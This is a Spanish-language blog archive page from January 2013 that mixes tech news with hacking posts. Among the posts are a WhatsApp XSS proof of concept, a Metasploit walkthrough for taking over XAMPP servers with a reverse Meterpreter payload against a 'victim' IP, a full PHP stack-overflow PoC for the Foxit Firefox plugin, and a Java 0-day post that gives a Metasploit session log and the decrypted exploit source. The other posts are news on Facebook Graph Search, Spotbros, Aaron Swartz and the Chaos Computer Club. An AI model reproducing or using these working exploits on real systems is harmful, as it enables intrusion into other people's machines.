jueves, 17 de enero de 2013

Facebook presenta su propio buscador: Graph Search



La herramienta Graph Search permitirá a los usuarios hacer búsquedas como si fuera un mapa; está basada en personas, fotografías, lugares e intereses que se encuentran en Facebook.

Facebook anunció este martes una nueva herramienta de búsqueda.

"No estamos haciendo un índice de la red. Estamos haciendo un mapa que es grande y está cambiando", indicó el CEO de la red social, Mark Zuckerberg, en un encuentro con periodistas.

Zuckerberg indicó que se trata de una herramienta de búsqueda que permita tener acceso a las cosas que las personas comparten en la red social.


La herramienta estará basada en personas, fotografías, lugares e intereses. También permite buscar cosas como "Amigos a los que les guste Star Wars y Harry Potter para una noche en el cine".


Las acciones de la red social en el Nasdaq operan con una baja de 2.06%, para venderse en 30.31 dólares a
media jornada del martes, según la página del centro bursatil.

De acuerdo con el
Wall Street Journal, la herramienta daría respuesta a las búsquedas a las que Google no puede responder.

Zuckerberg afirmó que Graph Search trabajará dinámicamente mientras el usuario escribe su búsqueda, parecido a la forma en la que trabaja Google.


"Buscamos algo que pensamos se vería más natural".


En un comunicado, Facebook indicó que las búsquedas web y Graph Search son distintas, ya que con este último puedes buscar cualquier contenido que se haya compartido contigo en la red social y otros pueden buscar contenido que has compartido con ellos. Cada persona ve resultados exclusivos.


Detalló que otra diferencia es que cada contenido en Facebook tiene su propia audiencia y que el material no siempre es público.


"Construimos Graph Search con la privacidad en mente, y respeta la privacidad y la audiencia de cada contenido en Facebook".


Durante el evento han mencionado los 3 pilares de Facebook:
News Feed, el TimeLine y ahora Graph Search, una nueva forma para compartir y descubrir. Mark Zuckerberg, CEO de Facebook anunció que no indexarán la web, sino que indexarán el mapa, algo que, asegura, está siempre en constante cambio.

Mark dijo que Graph Search mostrará la respuesta, no el link a la respuesta – refiriéndose a una forma para diferir de Google o
motores de búsqueda similares. Durante el evento Mark comentó que Graph Search está en pañales, pero que dio una demostración bastante interesante. Por ejemplo, en el sitio de Facebook se podrá escribir “mostrar la música que le gusta a mis amigos” e inmediatamente ver los resultados. 



Pero esto no sólo se queda en gustos, también puede mostrar los mejores restaurantes/sitios de interés en ciudades o pueblos pequeños. Las búsquedas se podrán hacer desde la barra superior dentro de Facebook, en donde aparecerá una F de la red social.


Graph Search no competirá con Google, pues éste último es un
motor de búsqueda generalizado, mientras que el de Facebook se concentrará en mostrar información relacionada con nuestros amigos, sin importar la fecha. Graph Search está en beta y hasta ahora no se saben detalles del lanzamiento oficial. Mark Zuckerberg hizo bastante énfasis en que todo será privado y los usuarios decidirán qué compartir y qué mostrar en resultados de búsqueda.

Otra de los usos que Graph Search tendrá es el de encontrar a personas con gustos similares, permitir el reclutamiento de una forma nueva, encontrar a gente que ha trabajado en diferentes lugares y con experiencia; las opciones son muchas. También se podrá buscar algo como “imágenes en Guadalajara” y mostrará imágenes del lugar; imágenes que han sido compartidas en la red social – cada usuario definirá qué compartir y qué no.


Para poder probar Graph Search desde ya, sólo necesitas entrar al
sitio de la herramienta y comenzar. Es bastante intuitivo y no se desesperen, recuerden que es un servicio en fase Beta, pero hasta donde voy el servicio parece bastante robusto y bien avanzado.





 

FUENTE 

Whatsapp XSS Headers [USER-AGENT]

... como habia comentado antes sobre mi tiempo de inactividad, hoy decidí divertirme un RATO para aprovechar esos 15 o 30 min sin nada que hacer... ¿Que mejor diversion que divagar en sitios buscando pequeños, basicos o avanzados XSS's ?

Pues bien no pasaron mas de 2:38 Min-Seg cuando ingrese a Whatsapp y note el lindo "detector" de USER-AGENT.



Pues como siempre tenemos ese instinto de "curiosidad" intentamos morir como le paso al pequeño gato curioso, en fin no somos gatos... Por experiencia conozco el tipico pensamiento mediocre de muchos programadores el cual consiste en dedicarle menos tiempo a lo "INTERNO" y que otros usuarios "no pueden ver"... Demasiado mediocre como descuidar Headers, Libs, filtros, etc; Nunca se sabe que tan rapido evoluvione un ataque y benificio XSS asi que segun mi opinion personal es mejor prevenir, aunque este no sea tan CRITICO y LETAL.


PoC 


Url Vulnearble
: https://sro.whatsapp.net/client/iphone/iq.php?cd=1&cc=%3CA%3E&me=%3CB%3E&u[]=%3CC%3E

 
?
1
2
3
4
5
6
7
8
------------------------------------------------------------------------------
Host: sro.whatsapp.net
User-Agent: [Vuln XSS Simple] <script>alert('@Mazt0r Was Here!')</script>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
------------------------------------------------------------------------------

Result




Nota: una vulnerabilidad basica y sencilla pero se presta para mucha diversion. (Si entienden a lo que me refiero). 
 

 [Verguenza usar Windows :( --- Pero No tengo PC al momento]


Saludos y Happy Hacking!


Fuente 

Spotbros triunfará porque puedes gritar lo que quieres

No hace mucho me habalaron de una herramienta para enviar mensajes cortos - sí, tipo Whatsapp -, pero con características de geo-localización agregadas. La gracia de la herramienta, de nombre Spotbros, es que permite crear salas de chat "spots" asociados a ubicaciones GPS y que son accesibles a todas las personas cercanas, pudiendo crearse salas de debate en conferencias, o zonas de fiesta. Por supuesto, como en todas las aplicaciones sociales, se busca cualquier oportunidad para ligar, y hay muchas salas creadas para hablar de sexo... aunque esta parece que no tiene mucha popularidad entre el público femenino.


Figura 1: El spot Sexo de aquí no tenía mucho éxito entre las mujeres

Y es extraño, pues hay gente unida de gran nivel como Leo Mesi, Salami de Oferta o Cabecilla Porro... que tiene una foto de perfil de lo más elegante y sugerente. Esto en Spotbros es una pasada. Ya que sin unirte a un Spot puedes ver la gente que está unida, lo que puede ser de lo más "indiscreto". Luego a alguien se le ocurre buscar estos contactos en Twitter - similar a lo que hizo Yago Jesus con Ashley Madisson - y puede ser muy divertido.
Figura 2: Foto de perfil de Cabecilla porro...

De todas las caracteristicas distintas, existe una especial, llamada Shout que permite enviar un mensaje a todos los usuarios cerca de tu posición GPS, como si fuera un grito auténtico. Por supuesto, estas características también se están explotando para lo que a todos se os está ocurriendo: Ligar.  Así, en cualquier momento te puede llegar un shout de gente con actitud de querer debatir sobre los problemas de re-población de especies en riesgo de extinción, con fotos de lo más sugerentes.

Y si no, algunos con intenciones mucho más directas, como este Shout que recibió mi amigo David Barroso visitando una zona de Madrid. Se puede ver en la foto de perfil su mirada profunda...

Figura 3: Este hombre parece que tiene buena conversación

Visto esto, que se ha creado una herramienta que sirve para "chatear", estoy convencido que triunfará, porque la gente al final termina por sacar el "verdadero" partido a estas aplicaciones.





miércoles, 16 de enero de 2013

[Metasploit] Hackeando XAMPP Remotamente (Windows XP 7 - 8)



------------------------------------------------------------------------------------------------------------------
XAMPP es una forma fácil de instalar la distribución Apache que contiene MySQL, PHP y Perl. XAMPP es realmente simple de instalar y usar - basta descargarlo, extraerlo y comenzar.

La distribución de Windows 2000, 2003, XP, Vista y 7 contiene Apache, MySQL, PHP + PEAR, Perl, mod_php, mod_perl, mod_ssl, OpenSSL, phpMyAdmin, Webalizer, Mercury Mail Transport System for Win32 and NetWare Systems v3.32, Ming, FileZilla FTP Server, mcrypt, eAccelerator, SQLite, and WEB-DAV + mod_auth_mysql.
------------------------------------------------------------------------------------------------------------------


Actualmente el servicio XAMPP, usado por la mayoria de webmasters y usuarios que se dedican a la Programación Web son totalmente vulnerables y se ha creado un modulo en metasploit que explota contraseñas débiles WebDAV en los servidores XAMPP y utiliza credenciales proporcionadas para subir una carga útil de PHP y ejecutarlo. El exploit se encuentra disponible desde XAMPP WebDAV PHP Upload y los pasos para aprovecharse de esta vulnerabilidad, son los siguientes:

REQUERIMIENTOS:

  • BackTrack 5 R1 - R2 o R3 (Atacante)
  • Metasploit Framework (Atacante)
  • Windows XP - 7 - 8 (Victima)
  • XAMPP (Victima)

PROCEDIMIENTOS:

Primeramente tenemos que detectar si la PC victima esta ejecutando el servicio XAMPP, para ello usaremos Nmap, ejecutando el siguiente comando:
  • nmap -sS -T4 -A 192.168.1.38

Si los resultados se muestran tal cual con la imagen de arriba, quiere decir que la PC victima esta ejecutando el servicio XAMPP en el puerto 80 y 443, entonces para aprovecharnos de la vulnerabilidad mencionada lineas arriba, simplemente abriremos metasploit y ejecutamos los siguientes comandos:

-------------------------------------------------------------------------------------------------------------
use exploit/windows/http/xampp_webdav_upload_php
set payload php/meterpreter/reverse_tcp
set Lhost 192.168.1.36 (Nuestra IP)
set RHOST 192.168.1.38 (IP Victima)
exploit
-------------------------------------------------------------------------------------------------------------



Estos comandos haran que se ejecute un payload en php la cual automaticamente se "subira" en el servicio XAMPP de la PC victima.



Seguidamente si todo se realizo correctamente, recibiremos la session meterpreter gracias al payload que metasploit subio al servicio XAMPP vulnerable.


Lo demas ya queda a nuestra total disposicion, en este caso podemos subir una web shell ya que XAMPP es un servicio web, por lo que podemos ingresar desde nuestro navegador a la IP vulnerada y ejecutar comandos desde la shell.

Espero les sirva y practiquen ;)

martes, 15 de enero de 2013

Aaron Swartz ha muerto

Aaron Swartz fue una de las grandes mentes responsables de que el internet y la web sea tal y como la conocemos hoy. Se suicidó ayer, 11 de enero de 2013 en New York, a sus 26 años. Una de sus mayores aportaciones fue trabajar en la especificación del RSS 1.0, uno de los estándares más adoptados para compartir y diseminar información y contenidos entre webs, especialmente los blogs. Lo hizo a los 14 años.


También trabajó, junto a Larry Lessig, en los primeros borradores de lo que sería después las licencias Creative Commons. También puede ser considerado uno de los co-fundadores de Reddit, construyendo gran parte de lo que sucede "tras bambalinas" para que la web funcione. En 2004 ayudó a John Gruber en el desarrollo de Markdown, el cual es usado por millones de personas, que facilita la escritura con HTML en la web.

Swartz invirtió una fortuna para liberar contenido legal estadounidense por medio de RECAP, que permite a cualquier persona acceder de forma sencilla a documentos de la plataforma PACER (Public Access to Court Electronic Records), como lo explica Cory Doctorow. En septiembre de 2010 plantó un portátil en el MIT y descargó una gran cantidad de documentos académicos (muchos de ellos en el dominio público, pero muchos con copyright) y lo recogió. En algún punto fue acusado por la universidad y por JSTOR (un sistema de archivo en línea de publicaciones académicas) pero, aunque decidieron echarse para atrás, el gobierno estadounidense continuó su investigación, y Aaron Swartz fue arrestado acusado de crímenes informáticos. También fundó DemandProgress desde la cual se inició una protesta en contra de SOPA/PIPA).

El internet es hoy un lugar mejor gracias a Aaron Swartz. Se lo extrañará mucho.

Fuente: Alt1040

Vulnerabilidad crítica en el plugin Foxit PDF de Firefox (o aquí no se salva ni Perry)

Desde hace tiempo utilizo Foxit Reader como lector pdf por defecto, es ligero, rápido y consume menos recursos que Adobe Reader. Además el malware viene azotando continuamente a Adobe por simple economía de guerra: la mayoría de los usuarios lo utilizan y las probabilidades de propagarse son mayores. ¿Puedo entonces embutirme en mi batín mientras azuzo el fuego de una chimenea y entono el publicitario eslogan "me siento seguroooo"? Ni mucho menos...

Desde Adobe Reader X la seguridad se orienta al sandboxing y se han aplicado y se aplican múltiples correcciones como consecuencia de las vulnerabilidades descubiertas por un ejército de beta-testers deseosos de abrir las puertas a sus artefactos maliciosos. Por eso quizás Foxit Reader no sea el enemigo público número uno, pero eso no significa que sea más seguro.


El consultor italiano Andrea Micalizzi, alias rgod, nos lo recuerda recientemente mediante la publicación de una vulnerabilidad que afecta, eso sí, al plugin Foxit PDF para el navegador. Es decir, el bug no está presente en el lector PDF en sí mismo, si no en la librería npFoxitReaderPlugin.dll que actúa como intermediaria entre Foxit Reader y el navegador.


Concretamente el código es vulnerable a un desbordamiento de pila al procesar enlaces con peticiones largas. La prueba de concepto es contundente: actualmente funciona en la última versión de Firefox (18.0) y en la última versión de Foxit Reader (5.4.4.1128) con su plugin (2.2.1.530).  

 
Echemos un vistazo al código de rgod:

 

 <?php/*

Foxit Reader <= 5.4.4.1128 Plugin for Firefox npFoxitReaderPlugin.dll Overlong 
Query String Remote Stack Buffer Overflow PoC --------------------------- rgod

(listener)

Tested against Microsoft Windows
Mozilla Firefox 17.0.1
Foxit Reader 5.4.3.0920
Foxit Reader 5.4.4.1128

File: npFoxitReaderPlugin.dll
Version: 2.2.1.530

Product url: http://www.foxitsoftware.com/downloads/
Last version setup file: FoxitReader544.11281_enu_Setup.exe

Usage:
Launch from the command line, then browse port 6666 with Firefox.
You can test it also through this url:

http://192.168.0.1/x.pdf?[A x 1024]

File must be existing or the server should be responding with
the proper Content-Type header.

vulnerable code, npFoxitReaderPlugin.dll:

;------------------------------------------------------------------------------
 L1000162F:
    push ebx
    push esi
    push edi
    mov edi,ebp
    or ecx,FFFFFFFFh
    xor eax,eax
    xor ebx,ebx
    xor esi,esi
    repne scasb
    not ecx
    dec ecx
    test ecx,ecx
    jle L100016E4
 L1000164A:
    mov al,[esi+ebp]
    mov word ptr [esp+18h],0000h
    cmp al,25h
    jz  L10001661
    mov ecx,[esp+1Ch]
    mov [ebx+ecx],al
    jmp L100016CE
 L10001661:
    mov al,[esi+ebp+01h]
    cmp al,30h
    jl  L1000166D
    cmp al,39h
    jle L1000167D
 L1000166D:
    cmp al,41h
    jl  L10001675
    cmp al,46h
    jle L1000167D
 L10001675:
    cmp al,61h
    jl  L100016C6
    cmp al,66h
    jg  L100016C6
 L1000167D:
    mov dl,[esi+ebp+01h]
    inc esi
    inc esi
    lea ecx,[esp+10h]
    mov [esp+18h],dl
    push ecx
    mov al,[esi+ebp]
    lea edx,[esp+1Ch]
    push L100450D4
    push edx
    mov [esp+25h],al
    call SUB_L10006421
    mov eax,[esp+1Ch]
    lea ecx,[esp+24h]
    push eax
    push L100450D0
    push ecx
    call SUB_L100063CF
    mov eax,[esp+34h]
    mov dl,[esp+30h]
    add esp,00000018h
    mov [ebx+eax],dl
    jmp L100016CE
 L100016C6:
    mov ecx,[esp+1Ch]
    mov byte ptr [ebx+ecx],25h
 L100016CE:
    inc ebx
    mov edi,ebp
    or ecx,FFFFFFFFh
    xor eax,eax
    inc esi
    repne scasb
    not ecx
    dec ecx
    cmp esi,ecx
    jl  L1000164A
 L100016E4:
    mov edx,[esp+1Ch]
    pop edi
    pop esi
    mov eax,00000001h
    mov byte ptr [ebx+edx],00h
    pop ebx
    pop ebp
    pop ecx
    retn
;------------------------------------------------------------------------------

this copy loop ends up in overwriting stack pointers, then 
(by attaching to plugin-container.exe):

(f48.1778): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0076ed4c ebx=00000341 ecx=002cf414 edx=002cf414 esi=41414141 edi=0076e9e8
eip=10016852 esp=002cf3f8 ebp=75eacdf8 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
npFoxitReaderPlugin!NP_GetEntryPoints+0x15672:
10016852 8906            mov     dword ptr [esi],eax  ds:0023:41414141=????????
...
Attempt to write to address 41414141
...

also SEH pointers are overwritten
*/

error_reporting(0);

set_time_limit(0);

$port = 6666;

$____redirect = "HTTP/1.1 301 Moved Permanently\r\n".
                "Server: Apache\r\n".
                "Location: /x.pdf?".str_repeat("A",1024)."\r\n".
                "Content-Type: text/html\r\n\r\n";

$____boom     = "HTTP/1.1 200 OK\r\n".
                "Server: Apache\r\n".
                "Accept-Ranges: bytes\r\n".
                "Content-Length: 60137\r\n".
                "Content-Type: application/pdf\r\n".
                "Connection: keep-alive\r\n\r\n";

$socket = stream_socket_server("tcp://0.0.0.0:".$port, $errno, $errstr);

if (!$socket) {
  echo "$errstr ($errno)\n";
} else {
  echo "Listening on public tcp port ".$port." \n";  
  while ($conn = stream_socket_accept($socket)) {
    $line=fgets($conn);
    echo $line."\n";
    if (strpos($line,".pdf")){
      fwrite($conn,$____boom);
    }
    else {
      fwrite($conn,$____redirect);
    }
    fclose($conn);
  }
  fclose($socket);
}
?>

 

Ahora ejecutamos el php (x.php en mi ejemplo) desde la línea de comandos de nuestro Windows 7: 

D:\xampplite\htdocs>d:\xampplite\php\php.exe -f x.php
Listening on public tcp port 6666
GET /x.pdf?AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA HTTP
/1.1
 
Y finalmente apuntamos al puerto y dirección correcta en nuestro navegador: 
 

 
Como podrás ver hemos provocado el crash del plugin sin apenas despeinarnos... 


Actualmente no existe ninguna actualización que lo solucione y otras versiones de Foxit Reader y de otros navegadores (Firefox, Chrome y Safari) podrían ser vulnerables, por lo que se recomienda desactivar el plugin hasta nuevo aviso: 


Al desactivarlo los ficheros PDF no serán abiertos directamente en el navegador y se cargaran en un proceso nuevo de Foxit Reader, evitando así el uso de la DLL vulnerable del plugin. 


Fuente: Vulnerability reported in Foxit PDF plugin for Firefox - how to mitigate it

jueves, 10 de enero de 2013

Nuevo 0-day de Java urge a desactivar el plugin del navegador


Hace unas horas Kafeine nos avisaba en su blog 'Malware don't need Coffee' de un nuevo 0-day que parece afectar a todas las versiones de Java 7 (incluida la actualización 10) y que podría permitir a un atacante ejecutar código arbitrariamente.

De momento no existe un análisis técnico detallado del problema, que parece ser una combinación de dos vulnerabilidades (una de ellas en el API Reflection), pero ya se han identificado numerosos sitios que podrían haber sido comprometidos a principios de año y que contienen este exploit para instalar malware de forma silenciosa (drive-by-download). Basta que el equipo de la víctima utilice un navegador con el plugin de java activado...

Todavía no hay parche de Oracle (el Critical Patch Updates oficial está previsto para el 15 de enero) y el código ya circula por Internet. Además el crimeware no pierde el tiempo para añadirlo a su arsenal: Blackhole, Nuclear Pack, Cool, Redkit... por lo que la única solución pasa por desactivar Java hasta nueva noticia.

Por último, Metasploit también ha añadido el módulo que ya es totalmente funcional:


 Call trans opt: received. 2-19-98 13:24:18 REC:Loc  
   
    Trace program: running  
   
       wake up, Neo...  
     the matrix has you  
    follow the white rabbit.  
   
      knock, knock, Neo.  
   
             (`.     ,-,  
             ` `.  ,;' /  
              `. ,'/ .'  
              `. X /.'  
         .-;--''--.._` ` (  
        .'      /  `  
        ,      ` '  Q '  
        ,     ,  `._  \  
      ,.|     '   `-.;_'  
      : . ` ;  ` ` --,.._;  
       ' `  ,  )  .'  
        `._ , '  /_  
          ; ,''-,;' ``-  
          ``-..__``--`  
   
   
     =[ metasploit v4.6.0-dev [core:4.6 api:1.0]  
 + -- --=[ 1074 exploits - 570 auxiliary - 170 post  
 + -- --=[ 265 payloads - 28 encoders - 8 nops  
   
 msf > use exploit/multi/browser/java_jre17_jmxbean  
 msf exploit(java_jre17_jmxbean) > rexploit  
 [*] Reloading module...  
 [*] Exploit running as background job.  
   
 [*] Started reverse handler on 192.168.1.128:4444   
 [*] Using URL: http://0.0.0.0:8080/j5jwNI  
 [*] Local IP: http://192.168.1.128:8080/j5jwNI  
 [*] Server started.  
 msf exploit(java_jre17_jmxbean) > [*] 192.168.1.147  java_jre17_jmxbean - handling request for /j5jwNI  
 [*] 192.168.1.147  java_jre17_jmxbean - handling request for /j5jwNI/  
 [*] 192.168.1.147  java_jre17_jmxbean - handling request for /j5jwNI/GapYRtBm.jar  
 [*] 192.168.1.147  java_jre17_jmxbean - handling request for /j5jwNI/GapYRtBm.jar  
 [*] Sending stage (30216 bytes) to 192.168.1.147  
 [*] Meterpreter session 1 opened (192.168.1.128:4444 -> 192.168.1.147:2391) at 2013-01-10 20:41:37 +0100  
 [*] 192.168.1.128  java_jre17_jmxbean - handling request for /j5jwNI  
 [*] 192.168.1.128  java_jre17_jmxbean - handling request for /j5jwNI/  
 [*] 192.168.1.128  java_jre17_jmxbean - handling request for /j5jwNI/sNJpvmja.jar  
 [*] 192.168.1.128  java_jre17_jmxbean - handling request for /j5jwNI/sNJpvmja.jar  
 [*] Sending stage (30216 bytes) to 192.168.1.128  
 [*] Meterpreter session 2 opened (192.168.1.128:4444 -> 192.168.1.128:54260) at 2013-01-10 20:41:47 +0100  
   
 msf exploit(java_jre17_jmxbean) > sessions -i 1  
 [*] Starting interaction with 1...  
   
 meterpreter > sysinfo  
 Computer  : juan-c0de875735  
 OS     : Windows XP 5.1 (x86)  
 Meterpreter : java/java  
 meterpreter > exit  
 [*] Shutting down Meterpreter...  
   
 [*] 192.168.1.147 - Meterpreter session 1 closed. Reason: User exit  
 msf exploit(java_jre17_jmxbean) > sessions -i 2  
 [*] Starting interaction with 2...  
   
 meterpreter > sysinfo  
 Computer  : Juans-MacBook-Pro.local  
 OS     : Mac OS X 10.7.5 (x86_64)  
 Meterpreter : java/java  
 meterpreter > exit  
 [*] Shutting down Meterpreter...  
   
 [*] 192.168.1.128 - Meterpreter session 2 closed. Reason: User exit  


Bonus - código descifrado desde Rusia con amor:


/*
Java 0day 1.7.0_10 decrypted source
Originaly placed on https://damagelab.org/index.php?showtopic=23719&st=0
From Russia with love.
*/

import java.applet.Applet;
import com.sun.jmx.mbeanserver.JmxMBeanServer;
import com.sun.jmx.mbeanserver.JmxMBeanServerBuilder;
import com.sun.jmx.mbeanserver.MBeanInstantiator;
import java.lang.invoke.MethodHandle;
import java.lang.invoke.MethodHandles;
import java.lang.invoke.MethodType;
import java.lang.reflect.Method;

public byte[] hex2Byte(String paramString)
{
    byte[] arrayOfByte = new byte[paramString.length() / 2];
    for (int i = 0; i < arrayOfByte.length; i++)
    {
      arrayOfByte[i] = (byte)Integer.parseInt(paramString.substring(2 * i, 2 * i + 2), 16);
    }
    return arrayOfByte;
 }

public static String ByteArrayWithSecOff = & #34;CAFEBABE0000003200270A000500180A0019001A07001B0A001C001D07001E07001F07002001
 00063C696E69743E010003282956010004436F646501000F4C696E654E756D6265725461626C6501
 00124C6F63616C5661726961626C655461626C65010001650100154C6A6176612F6C616E672F4578
 63657074696F6E3B010004746869730100034C423B01000D537461636B4D61705461626C6507001F
 07001B01000372756E01001428294C6A6176612F6C616E672F4F626A6563743B01000A536F757263
 6546696C65010006422E6A6176610C000800090700210C002200230100136A6176612F6C616E672F
 457863657074696F6E0700240C002500260100106A6176612F6C616E672F4F626A65637401000142
 0100276A6176612F73656375726974792F50726976696C65676564457863657074696F6E41637469
 6F6E01001E6A6176612F73656375726974792F416363657373436F6E74726F6C6C657201000C646F
 50726976696C6567656401003D284C6A6176612F73656375726974792F50726976696C6567656445
 7863657074696F6E416374696F6E3B294C6A6176612F6C616E672F4F626A6563743B0100106A6176
 612F6C616E672F53797374656D01001273657453656375726974794D616E6167657201001E284C6A
 6176612F6C616E672F53656375726974794D616E616765723B295600210006000500010007000000
 020001000800090001000A0000006C000100020000000E2AB700012AB8000257A700044CB1000100
 040009000C00030003000B000000120004000000080004000B0009000C000D000D000C0000001600
 02000D0000000D000E00010000000E000F001000000011000000100002FF000C0001070012000107
 0013000001001400150001000A0000003A000200010000000C01B80004BB000559B70001B0000000
 02000B0000000A00020000001000040011000C0000000C00010000000C000F001000000001001600
0000020017";

  public void init()
  {
    try
    {

      byte[] arrayOfByte = hex2Byte(ByteArrayWithSecOff);
      JmxMBeanServerBuilder localJmxMBeanServerBuilder = new JmxMBeanServerBuilder();
      JmxMBeanServer localJmxMBeanServer = (JmxMBeanServer)localJmxMBeanServerBuilder.newMBeanServer("", null, null);
      MBeanInstantiator localMBeanInstantiator = localJmxMBeanServer.getMBeanInstantiator();
      ClassLoader a = null;
      Class localClass1 = localMBeanInstantiator.findClass("sun.org.mozilla.javascript.internal.Context", a);
      Class localClass2 = localMBeanInstantiator.findClass("sun.org.mozilla.javascript.internal.GeneratedClassLoader", a);
      MethodHandles.Lookup localLookup = MethodHandles.publicLookup();
      MethodType localMethodType1 = MethodType.methodType(MethodHandle.class, Class.class, new Class[] { MethodType.class });
      MethodHandle localMethodHandle1 = localLookup.findVirtual(MethodHandles.Lookup.class, "findConstructor", localMethodType1);
      MethodType localMethodType2 = MethodType.methodType(Void.TYPE);
      MethodHandle localMethodHandle2 = (MethodHandle)localMethodHandle1.invokeWithArguments(new Object[] { localLookup, localClass1, localMethodType2 });
      Object localObject1 = localMethodHandle2.invokeWithArguments(new Object[0]);
      MethodType localMethodType3 = MethodType.methodType(MethodHandle.class, Class.class, new Class[] { String.class, MethodType.class });
      MethodHandle localMethodHandle3 = localLookup.findVirtual(MethodHandles.Lookup.class, "findVirtual", localMethodType3);
      MethodType localMethodType4 = MethodType.methodType(localClass2, ClassLoader.class);
      MethodHandle localMethodHandle4 = (MethodHandle)localMethodHandle3.invokeWithArguments(new Object[] { localLookup, localClass1, "createClassLoader", localMethodType4 });
      Object localObject2 = localMethodHandle4.invokeWithArguments(new Object[] { localObject1, null });
      MethodType localMethodType5 = MethodType.methodType(Class.class, String.class, new Class[] { byte[].class });
      MethodHandle localMethodHandle5 = (MethodHandle)localMethodHandle3.invokeWithArguments(new Object[] { localLookup, localClass2,"defineClass", localMethodType5 });
      Class localClass3 = (Class)localMethodHandle5.invokeWithArguments(new Object[] { localObject2, null, arrayOfByte });
      localClass3.newInstance();
      Runtime.getRuntime().exec("calc.exe");
    }   
   catch (Throwable ex) {}
  }
 }
Related Posts Plugin for WordPress, Blogger...

miércoles, 9 de enero de 2013

Según la mayor asociación de hackers de Europa: “ellos son los buenos”




BERLíN (dpa) – El “Centro de Hackeo” está iluminado con una luz rojiza y escasa, y en las largas mesas se agolpan personas vestidas con camisetas o sudaderas con capucha, frente a portátiles y metros de cable. “Prohibido hacer fotos”, dice un cartel pegado en varios sitios. Es el sótano del congreso del Chaos Computer Club (CCC), la mayor asociación de hackers europea.


En el piso de arriba se aboga por una mayor protección de datos y en contra del bloqueo de la redes, pero abajo, todos quieren permanecer de incógnito y sin ser molestados.

La mayorí­a de los hackers programan o sueldan platinas. Pero los más jóvenes, los “kiddies” en la jerga del grupo, entran en webs y dejan sus “grafitis virtuales”, llamados “defacements” (desfiguraciones). El objetivo es protestar contra los polí­ticos, mostrar un trofeo ante los compañeros o advertir de los fallos de seguridad de las páginas.

No es el caso de Thomas Roth, que trabaja como asesor de ingenierí­a de seguridad y de software y que se interesa más por la seguridad del sistema operativo WebOS. Aunque sí­ siente simpatí­a por los ataques, como muchos en este sótano.

“En el congreso hay muchos crí­ticos de los propagandistas de Internet”, afirma Roth en alusión a los polí­ticos. “Ahí­ se buscan especialmente los puntos débiles”, como por ejemplo una tienda online, los anuncios y folletos del partido liberal alemán FDP, que fueron objeto de un ataque el año pasado.
Este tipo de “objetivos” quedan documentados en una página de acceso público que incluye también próximos ataques, sobre todo contra páginas de grupos de derecha. “Con los nazis hay una polí­tica de tolerancia cero”, afirma Roth. Y sus compañeros de la mesa asienten.

El problema con las aplicaciones web es que a menudo se encargan a personas que no tienen ni idea
A veces sólo se trata de divertirse, pero las ví­ctimas no opinan lo mismo. El administrador de la tienda del FDP, que trabaja de forma independiente al partido, se queja de un comportamiento que “daña el negocio” y afirma que está pensando en poner una denuncia.

El año pasado los hackers se bajaron datos personales de una web de contactos románticos entre personas de extrema derecha, algo que generó mucho debate en el Club acerca de asuntos de ética.
Muchas ví­ctimas facilitan sin embargo las cosas a los atacantes, ya que en general se hackean sistemas que están mal programados y tienen más agujeros que un queso gruyí¨re. O usan contraseñas tan sencillas como “123456″ o “admin”. “El problema con las aplicaciones web es que a menudo se encargan a personas que no tienen ni idea”, opina Roth.

Pero aunque los hacker se vean tentados a aprovechar estas circunstancias, no es un comportamiento legal. “Hay multas y penas de prisión contra el espionaje de datos”, afirma el abogado Carsten Ulbricht, especializado en derecho en Internet. Y quien dañe una empresa tendrá que asumir una indemnización a los afectados, al menos mientras se deje atrapar.

El CCC sabe que los hackers operan en una zona gris, si bien la asociación se distancia de los espí­as y criminales. “¡Nosotros somos los buenos!”, afirma la portavoz Constanze Kurz. Por eso organizaron el encuentro bajo el irónico lema: “En son de paz”. El argumento del grupo es que el conocimiento no se vende “a los malos”, sino que se usa para fomentar un debate público sobre la seguridad en la red.
No siempre está claro que esto se consiga, porque los administradores web suelen reaccionar mal cuando se les muestran los puntos débiles, según Roth. “O bien me denuncian o me dicen: ‘no es tan grave’”, añade.
Un “defacement” es una advertencia al “webmaster”. “Cuando hay un hueco de seguridad hay que partir de la base de que alguien ha comprometido el sistema”, subraya Roth. Porque no todos los atacantes dejan únicamente un grafiti.

Fuente

